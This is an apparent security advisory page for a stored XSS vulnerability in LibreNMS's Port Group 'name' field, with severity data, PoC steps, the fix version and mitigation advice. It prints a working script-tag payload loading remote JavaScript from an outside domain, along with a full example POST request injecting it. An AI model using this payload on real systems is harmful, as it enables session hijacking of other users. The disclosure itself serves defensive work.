LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/app/Http/Controllers/Table/EditPortsController.phpGHSA-xh4g-c9p6-5jxg
HIGHFix: librenms/librenms@82a744bGHSA-xh4g-c9p6-5jxg is a high-severity (CVSS 7.5) Cross-site Scripting (XSS) vulnerability in librenms/librenms. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for librenms/librenms — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-xh4g-c9p6-5jxg.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
librenms/librenmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Port Settings" page allows authenticated users to inject arbitrary JavaScript through the "name" parameter when creating a new Port Group. This vulnerability results in the execution of malicious code when the "Port Settings" page is visited after the affected Port Group is added to a device, potentially compromising user sessions and allowing unauthorized actions.
Details
When creating a new "Port Group," an attacker can inject the following XSS payload into the "name" parameter:
<script/src=//15.rs></script>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The payload triggers when the affected Port Group is added to a device and the "Port Settings" page is reloaded. The vulnerability is due to insufficient sanitization of the "name" parameter. The sink responsible for this issue is: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/app/Http/Controllers/Table/EditPortsController.php#L69
PoC
- Create a new Port Group using the following payload in the "name" parameter:
name<script/src=//15.rs></script> - Add the Port Group to a device's port settings.
- Reload the "Port Settings" page.
- Observe that the injected script executes.
Example Request:
POST /port-groups HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>
_token=<your_token>&name=name<script/src=//15.rs></script>&desc=descr<script/src=//15.rs></script>
Impact
This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Port Settings" page of a device. This could result in the compromise of user accounts and unauthorized actions performed on their behalf.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | librenms/librenms | all versions | 24.10.0composer require librenms/librenms:^24.10.0 |
Affected Products
librenmslibrenmsResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update librenms/librenms to 24.10.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xh4g-c9p6-5jxg is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is GHSA-xh4g-c9p6-5jxg in your dependencies?
Find it across Packagist, including transitive dependencies.